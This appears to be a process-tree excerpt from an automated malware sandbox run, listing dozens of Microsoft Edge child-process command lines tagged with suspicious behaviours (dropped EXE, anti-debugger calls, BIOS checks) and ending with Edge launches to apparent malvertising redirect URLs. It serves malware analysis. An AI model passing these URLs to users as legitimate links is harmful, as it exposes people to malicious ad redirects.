C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2100,16648932747428349615,2456986139312984973,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3140 /prefetch:89⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,16648932747428349615,2456986139312984973,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3756 /prefetch:19⤵
- Executes dropped EXE
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,16648932747428349615,2456986139312984973,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3776 /prefetch:19⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2100,16648932747428349615,2456986139312984973,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4996 /prefetch:89⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --field-trial-handle=2100,16648932747428349615,2456986139312984973,131072 --lang=en-US --service-sandbox-type=entity_extraction --mojo-platform-channel-handle=4832 /prefetch:89⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.PageScreenshotProcessor --field-trial-handle=2100,16648932747428349615,2456986139312984973,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5464 /prefetch:89⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,16648932747428349615,2456986139312984973,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5632 /prefetch:19⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,16648932747428349615,2456986139312984973,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5848 /prefetch:19⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2100,16648932747428349615,2456986139312984973,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5964 /prefetch:89⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2100,16648932747428349615,2456986139312984973,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5964 /prefetch:89⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,16648932747428349615,2456986139312984973,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1896 /prefetch:19⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2100,16648932747428349615,2456986139312984973,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=5220 /prefetch:29⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,16648932747428349615,2456986139312984973,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4880 /prefetch:19⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,16648932747428349615,2456986139312984973,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4184 /prefetch:19⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,16648932747428349615,2456986139312984973,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4224 /prefetch:19⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.PageScreenshotProcessor --field-trial-handle=2100,16648932747428349615,2456986139312984973,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6316 /prefetch:89⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,16648932747428349615,2456986139312984973,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1700 /prefetch:19⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,16648932747428349615,2456986139312984973,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4216 /prefetch:19⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.PageScreenshotProcessor --field-trial-handle=2100,16648932747428349615,2456986139312984973,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5364 /prefetch:89⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,16648932747428349615,2456986139312984973,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=25 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6472 /prefetch:19⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,16648932747428349615,2456986139312984973,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=26 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3800 /prefetch:19⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,16648932747428349615,2456986139312984973,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=27 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5664 /prefetch:19⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,16648932747428349615,2456986139312984973,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=28 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6172 /prefetch:19⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.PageScreenshotProcessor --field-trial-handle=2100,16648932747428349615,2456986139312984973,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6456 /prefetch:89⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,16648932747428349615,2456986139312984973,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=31 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4180 /prefetch:19⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,16648932747428349615,2456986139312984973,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=32 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2592 /prefetch:19⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,16648932747428349615,2456986139312984973,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=33 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1256 /prefetch:19⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,16648932747428349615,2456986139312984973,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=35 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4736 /prefetch:19⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,16648932747428349615,2456986139312984973,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=37 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5144 /prefetch:19⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,16648932747428349615,2456986139312984973,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=38 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5088 /prefetch:19⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,16648932747428349615,2456986139312984973,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=39 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2536 /prefetch:19⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,16648932747428349615,2456986139312984973,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=40 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6420 /prefetch:19⤵
- Checks BIOS information in registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,16648932747428349615,2456986139312984973,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=42 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5056 /prefetch:19⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.PageScreenshotProcessor --field-trial-handle=2100,16648932747428349615,2456986139312984973,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6616 /prefetch:89⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,16648932747428349615,2456986139312984973,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=44 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5192 /prefetch:19⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,16648932747428349615,2456986139312984973,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=45 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5816 /prefetch:19⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,16648932747428349615,2456986139312984973,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=47 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6268 /prefetch:19⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,16648932747428349615,2456986139312984973,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=50 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5408 /prefetch:19⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.PageScreenshotProcessor --field-trial-handle=2100,16648932747428349615,2456986139312984973,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5928 /prefetch:89⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,16648932747428349615,2456986139312984973,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=52 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5468 /prefetch:19⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,16648932747428349615,2456986139312984973,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=53 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5376 /prefetch:19⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,16648932747428349615,2456986139312984973,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=55 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6560 /prefetch:19⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,16648932747428349615,2456986139312984973,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=56 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5468 /prefetch:19⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,16648932747428349615,2456986139312984973,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=59 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2608 /prefetch:19⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,16648932747428349615,2456986139312984973,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=60 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5716 /prefetch:19⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.PageScreenshotProcessor --field-trial-handle=2100,16648932747428349615,2456986139312984973,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5364 /prefetch:89⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,16648932747428349615,2456986139312984973,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=62 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5368 /prefetch:19⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,16648932747428349615,2456986139312984973,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=65 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3776 /prefetch:19⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,16648932747428349615,2456986139312984973,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=67 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2540 /prefetch:19⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,16648932747428349615,2456986139312984973,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=68 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4796 /prefetch:19⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.PageScreenshotProcessor --field-trial-handle=2100,16648932747428349615,2456986139312984973,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5692 /prefetch:89⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,16648932747428349615,2456986139312984973,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=70 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6552 /prefetch:19⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,16648932747428349615,2456986139312984973,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=71 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4760 /prefetch:19⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,16648932747428349615,2456986139312984973,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=73 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5724 /prefetch:19⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,16648932747428349615,2456986139312984973,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=74 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2896 /prefetch:19⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.PageScreenshotProcessor --field-trial-handle=2100,16648932747428349615,2456986139312984973,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4052 /prefetch:89⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,16648932747428349615,2456986139312984973,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=76 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6700 /prefetch:19⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,16648932747428349615,2456986139312984973,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=78 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6576 /prefetch:19⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,16648932747428349615,2456986139312984973,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=80 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2584 /prefetch:19⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2100,16648932747428349615,2456986139312984973,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=81 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5240 /prefetch:19⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.PageScreenshotProcessor --field-trial-handle=2100,16648932747428349615,2456986139312984973,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7136 /prefetch:89⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.profitabletrustednetwork.com/b1fsmdd9m?key=7e872dab99d78bffc4aa0c1e6b062dad8⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7fffd7ad46f8,0x7fffd7ad4708,0x7fffd7ad47189⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://vexacion.com/afu.php?zoneid=18514838⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7fffd7ad46f8,0x7fffd7ad4708,0x7fffd7ad47189⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://vexacion.com/afu.php?zoneid=18515138⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7fffd7ad46f8,0x7fffd7ad4708,0x7fffd7ad47189⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://www.directdexchange.com/jump/next.php?r=20872158⤵
-
